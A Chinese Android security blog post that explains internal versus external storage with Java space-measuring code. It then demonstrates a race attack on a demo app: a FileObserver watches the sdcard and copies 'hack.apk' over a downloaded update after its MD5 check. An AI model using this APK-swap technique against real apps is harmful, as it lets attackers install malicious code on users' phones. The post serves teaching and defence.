查看原文
其他

Android存储空间安全性初探

chiu vivo千镜 2022-11-05

存储是Android中不可缺少的一部分,无论是CPU缓存、运行内存还是存储卡都在Android里充当着重要的角色,我们经常在开发中用到手机里的存储空间,但我们是否真正的清楚数据实际都存放在哪里呢?存储的位置又是否安全呢?下面就一起来探讨一下这两个问题。


01

存储空间划分


内存
内存是一个比较容易混淆的概念,在手机里,一般说的手机内存大小可能有两种概念,分别是运行内存(memory)与存储空间(storage)。而存储空间又分内部存储(internal storage)与外部存储(external storage)。


内部存储
内部存储位于系统中的/data目录(可通过Environment.getDataDirectory()获取),而应用的数据存放在/data/data/包名目录下(可通过context.getFilesDir()、context.getCacheDir()获取对应目录),在内部存储中,每个应用的数据都是独立的,应用只能访问到自己包名目录下的数据。


ps:在Android4.2前,可以指定MODE_WORLD_READABLE / MODE_WORLD_WRITEABLE模式打开文件流,在该模式下操作的文件可以被其他应用访问,但该API在Android4.2后被标记过时。在Android7.0以后,使用该模式后系统更是会直接抛出异常。所以,在非root环境下,内部存储安全性是可以得到保证的。


官方文档解析:



外部存储

与内部存储不同,外部存储是公开的,任何应用都能访问(Android6.0后写入需要动态申请权限),可以通过Environment.getExternalStorageDirectory()来获取外部存储的根目录。


ps:上述方法在Android10被标记为过时,官方更推荐使用context.getExternalFilesDir(String)来获取指定的目录,该方法会返回一个根据参数生成的指定目录/storage/emulated/0/Android/data/包名/files/参数名(应用被卸载时会自动删除),看上去和内部存储的路径差不多,但这个目录下的文件是可以被其他应用访问的。


02
内部存储与外部存储的区别


在Android4.4前,内部存储与外部存储是有明显区分的,内部存储就是手机内置的存储卡,而外部存储指外置的sd卡。Android4.4后,很多手机自身的存储空间已经达到16G、32G甚至更高,他们不需要外置sd卡也可以满足日常使用需求,但这些空间并不是全部都是内部存储,下面用代码来验证一下。


我们可以通过Android提供的StatFs类来查询手机的文件系统信息区块大小乘以区块数量即可得到总大小:

  1. /**

  2. * 获取手机内部剩余存储空间

  3. */

  4. publicstaticlong getAvailableInternalStorageSize() {

  5. File path = Environment.getDataDirectory();

  6. StatFs stat = newStatFs(path.getPath());

  7. long blockSize = stat.getBlockSizeLong();

  8. long availableBlocks = stat.getAvailableBlocksLong();

  9. return availableBlocks * blockSize;

  10. }


  1. /**

  2. * 获取手机内部总的存储空间

  3. */

  4. publicstaticlong getTotalInternalStorageSize() {

  5. File path = Environment.getDataDirectory();

  6. StatFs stat = newStatFs(path.getPath());

  7. long blockSize = stat.getBlockSizeLong();

  8. long totalBlocks = stat.getBlockCountLong();

  9. return totalBlocks * blockSize;

  10. }



  1. /**

  2. * 获取sd卡剩余存储空间

  3. */

  4. publicstaticlong getAvailableExternalStorageSize() {

  5. File path = Environment.getExternalStorageDirectory();

  6. StatFs stat = newStatFs(path.getPath());

  7. long blockSize = stat.getBlockSizeLong();

  8. long availableBlocks = stat.getAvailableBlocksLong();

  9. return availableBlocks * blockSize;

  10. }


  1. /**

  2. * 获取sd卡总的存储空间

  3. */

  4. publicstaticlong getTotalExternalStorageSize() {

  5. File path = Environment.getExternalStorageDirectory();

  6. StatFs stat = newStatFs(path.getPath());

  7. long blockSize = stat.getBlockSizeLong();

  8. long totalBlocks = stat.getBlockCountLong();

  9. return totalBlocks * blockSize;

  10. }


下面是在一台存储空间为128G的手机上的运行结果:

将一个大约529MB的文件push到某应用的内部存储后:

将一个大约529MB的文件push到sd卡后:


可见两次操作后内部存储可sd卡的可用空间都同时减少了相同的大小,所以,Android手机出厂时所标的存储空间,是包括了内部存储与外部存储的。


03
外部存储的安全性

上文提到,高版本的Android系统已经不支持以全局可读/可写的形式操作内部存储的文件了,在手机在正常环境下,内部存储的安全性能够得到保证,所以我们要重点关注的是外部存储,因为它能够被所有应用共享(Android6.0后需要动态申请写入权限),那就意味着一个应用往外部存储写入的文件,能够被任意其他应用读取甚至修改。

常见安全问题

· 数据泄露
像用户隐私,账号密码、设备标识符、密钥、token等敏感数据,存储在sd卡中就等于完全向外界暴露,恶意应用可以随意窃取。

· 缓存替换
在sd卡中缓存的数据是可以被任意应用修改的,例如图片缓存、应用更新包、网页文件等,假如应用读取缓存时没有做文件校验(即使校验了还有可能存在风险),那下次读取的很可能就是攻击者精心准备的文件,假如缓存的是html文件,轻则可构造钓鱼网站、远程代码执行,重则可造成反弹shell,甚至root提权漏洞。


举个例子:

现在许多应用都有自升级功能,用户可以根据应用提示或自己手动进行升级。大部分应用进行升级时,都会从服务器下载一个新版本的apk进行覆盖安装,假如apk被缓存在sd卡中,就会有被替换的风险。

下面以一个DEMO为例,尝试在其自升级时进行更新包替换。


0x00

该DEMO提供一个自升级的功能,点击检查更新后,会从服务器下载更新包到本地并进行安装。



0x01

通过简单的逆向分析后,发现应用首先会将更新包下载到sd卡里,校验MD5后再进行安装。


更新过一次后查看sd卡的Download目录,果然发现了安装包的缓存,下面尝试直接替换:

由于应用做了MD5校验,所以直接替换肯定是妥妥的失败。


0x02
那有没有办法在更新包刚下载完的时候给它替换呢?我们尝试监听一下sd卡目录的文件操作,看看点击检查更新后文件被关闭了几次,代码如下:
  1. public class SdcardBypassListener extends FileObserver {


  2. private static final String TAG = "SdcardBypassListener";

  3. int TIMES;


  4. @Override

  5. public void onEvent(int i, String s) {

  6. if (!"com.example.sdcarddemo.apk".equals(s)) {

  7. return;

  8. }

  9. if (CLOSE_NOWRITE == i) {

  10. TIMES++;

  11. Log.w(TAG, "onEvent: File closed " + TIMES + "times");

  12. } else {

  13. Log.d(TAG, "onEvent: " + i);

  14. }

  15. }


运行日志:

从点击更新到安装界面,文件一共被关闭了2次,猜测第一次关闭为校验操作,那我们尝试在第一次关闭后进行替换:

  1. @Override

  2. public void onEvent(int i, String s) {

  3. if (!"com.example.sdcarddemo.apk".equals(s)) {

  4. return;

  5. }

  6. if (CLOSE_NOWRITE == i) {

  7. TIMES++;

  8. Log.w(TAG, "onEvent: File closed " + TIMES + "times");

  9. } else {

  10. Log.d(TAG, "onEvent: " + i);

  11. }

  12. try {

  13. if (i == CLOSE_NOWRITE) {

  14. if (TIMES >= 1) {

  15. Process p = Runtime.getRuntime().exec("cp /sdcard/hack.apk /sdcard/Download/com.example.sdcarddemo.apk" );

  16. p.waitFor();

  17. }

  18. }

  19. } catch (InterruptedException | IOException e) {

  20. e.printStackTrace();

  21. }

  22. }



后台启动监听后重新运行应用:

更新包成功被替换!可见即使做了文件MD5校验,还是会有被替换的风险。


04
总结


· 内部存储只有应用自己能够访问,能够保证大部分场景的安全性,而外部存储完全对外公开

· 内部存储与外部存储共用手机的预置存储空间

· 内部存储与外部存储都存在应用包名目录,应用被卸载时会同时被删除

· 重要文件应该存储在内部存储中,否则将有被篡改的风险





更多精彩阅读

· Android系统Server自动化安全测试  

· 本地差分隐私技术在联邦学习中的实践


END



长按关注  最新动态

好文!在看吗?点一下鸭!





您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存